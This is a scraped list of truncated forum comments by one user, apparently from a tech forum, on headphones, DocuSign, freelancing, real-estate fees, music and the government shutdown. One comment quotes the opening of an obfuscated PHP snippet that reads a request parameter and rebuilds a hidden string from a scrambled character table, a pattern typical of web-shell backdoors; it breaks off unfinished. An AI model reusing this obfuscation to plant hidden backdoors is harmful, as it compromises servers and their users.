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   by lowercased 8y ago

   Yep. I just signed things via docusign 2 weeks ago. There was no 'create an account' first. IIRC, there was something at the end indicating I could create an account after the doc was signed, but I got a copy via email anyway
2. 842.▲
   by lowercased 8y ago

   Law citation please? To be more clear, I've just signed documents via docusign and did not have to create an account. Perhaps the system behind me did something to create an account for my email address without my consent, but I don&
3. 843.▲
   by lowercased 8y ago

   It's hard to find obfuscations of stuff. ran across this recently... <?php $z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2
4. 844.▲
   by lowercased 8y ago

   QC20 are 'in-ear' not 'over the ear', with their molded rubbery ear plug things to help block out leakage. they're not perfect, and on their own , yes, noise cancelling can just make voice somewhat clearer. I alw
5. 845.▲
   by lowercased 8y ago

   i've been using bose qc20 for a few years for the noise cancelling. I'm curious about the 'hearphones' - to know if the effect is similar to the qc20 'pass through' mode - which still muffles some background n
6. 846.▲
   by lowercased 8y ago

   i believe it. bose might be poised to get in to that market. their 'hearphones' struck me as a first attempt, although it's not marketed as a medical device (AFAIR).
7. 847.▲
   by lowercased 8y ago

   Double dip surprise(?) - they'll still have ads around them.
8. 848.▲
   by lowercased 8y ago

   Colleagues at first job (fast food place): "Steve, I need a break!" Steve (manager/owner): "I gave you a break when I hired you!" Has stuck with me lo these 30+ years...
9. 849.▲
   by lowercased 8y ago

   or... nobody wants to pay to clean up the mess. i know people who will do it. I will do it, but I can't clean it up, and delivery loads of shiny new features, and do it all while trying to justify every 30 minute block of time an
10. 850.▲
    by lowercased 8y ago

    poster indicated 5s, which IIRC can run ios12.
11. 851.▲
    by lowercased 8y ago

    >Is Webpack really better than Bower and Grunt? IIRC, grunt/webpack would be the comparison. bower is more of a package manager (akin to npm), no? bower has been deprecated (from a year ago or more, no?) Worked on a project in 20
12. 852.▲
    by lowercased 8y ago

    > but there's probably a lot of money sitting in these kind of messes if you do some networking Possibly, but you may just be stuck doing donkey work (almost regardless of rate, that gets boring after some time). You can identify p
13. 853.▲
    by lowercased 8y ago

    Well... I don't joke :) The $200/MVP is a slight exaggeration, but not much. I've been approached by people about MVP, but they only focus on the M, not the V or P.
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    by lowercased 8y ago

    > The kind of clients you want to work with will pay this without blinking. Sometimes they won't even know about the bill because it goes straight to AP. I agree #3, but on #2 - I've never dealt with any business of individua
15. 855.▲
    by lowercased 8y ago

    Yeah! Certainly in my day (which wasn't that long ago!) we ... walked everywhere (or rode a bike) as a kid.
16. 856.▲
    by lowercased 8y ago

    Local business owner was telling me that police showed up at her business with her 9 year old because the 9 year old was "out on her own". He was walking from the local business to their house, about ... 8 blocks from the busines
17. 857.▲
    by lowercased 8y ago

    > It wouldn't have taken Amazon much to build a similar service. Would people really trust it as much as something completely external?
18. 858.▲
    by lowercased 8y ago

    The vetting is 'crowd-sourced' with customer reviews, no? If 'Bill' thinks 'Leslie' is a great walker... what more should wag or rover need to do? Vet Bill now too!? That's just crazy talk...
19. 859.▲
    by lowercased 8y ago

    No (under $100k). Based in NC, and the 'standard' here seems to be 8% (couldn't find anyone under 8%).
20. 860.▲
    by lowercased 8y ago

    Came here to say the same thing. My wife is from UK, and she's ... well, pissed at the expenses here (besides healthcare). We are in the process of selling some land, and the default for land is 8% . WTF. You don't "show
21. 861.▲
    by lowercased 8y ago

    True. Was thinking more about the G - again, another common pianoish base (in my experience, anyway). D/E/A - again, ime - were always "guitarish" songs. GCF always seemed to be more "pianoish". Just my own
22. 862.▲
    by lowercased 8y ago

    the video was great - still seems to hold up ok, maybe because it was showing something which already looked dated at the time. the voicework got me - even just a few words in a wrong accent bugs me with beatles stuff :)
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    by lowercased 8y ago

    I think Lennon summed it up with "Elvis died the day he went in to the army" (when asked about Elvis' death). Col Parker was a shady character, and I think he really hosed up Elvis' career in a lot of ways, and Elvis was
24. 864.▲
    by lowercased 8y ago

    there's a wider range of elvis impersonators, and people can love dressing up like him for whatever reason. it's easier to do that when it's a single person. there are beatle groups - some just focus on music, some do the th
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    by lowercased 8y ago

    The middle ground may be explicitly flag/indicate/log that an unknown situation has been encountered, and 'handle' that by doing something useful (continuing to work without crashing, preventing known "unknown"
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    by lowercased 8y ago

    With GFC being most popular, I'd expect Em more, because it more fits with those major ones. Emin vs Emaj - my gut would say Emin is going to fit in with keyboard/piano stuff easier, and there's more of that type music overal
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    by lowercased 8y ago

    There's been little disagreement about the broader idea of "increasing border security". Poll I saw the other day showed (IIRC) something like 80%+ of polled people saw a need for 'increased border security'. The
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    by lowercased 8y ago

    i did some work for my state, and I couldn't automate ssl stuff, because the dept who handled the certs didn't provide for automation to be consumed - I got emailed certs (IIRC - been a couple of years now). By contrast, for mos
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    by lowercased 8y ago

    Some bits no doubt require some human intervention, and if it wasn't updated, would cause confusion. The census site seems to be a decent middle ground. Banner at the top says "NOTICE: Due to a lapse in federal funding portions o
30. 870.▲
    by lowercased 8y ago

    For direct employees - currently, from what I've recently heard - the legislation in place provides for back pay for them. For contract workers for agencies, it's unclear that any of them will receive back pay. Per the other com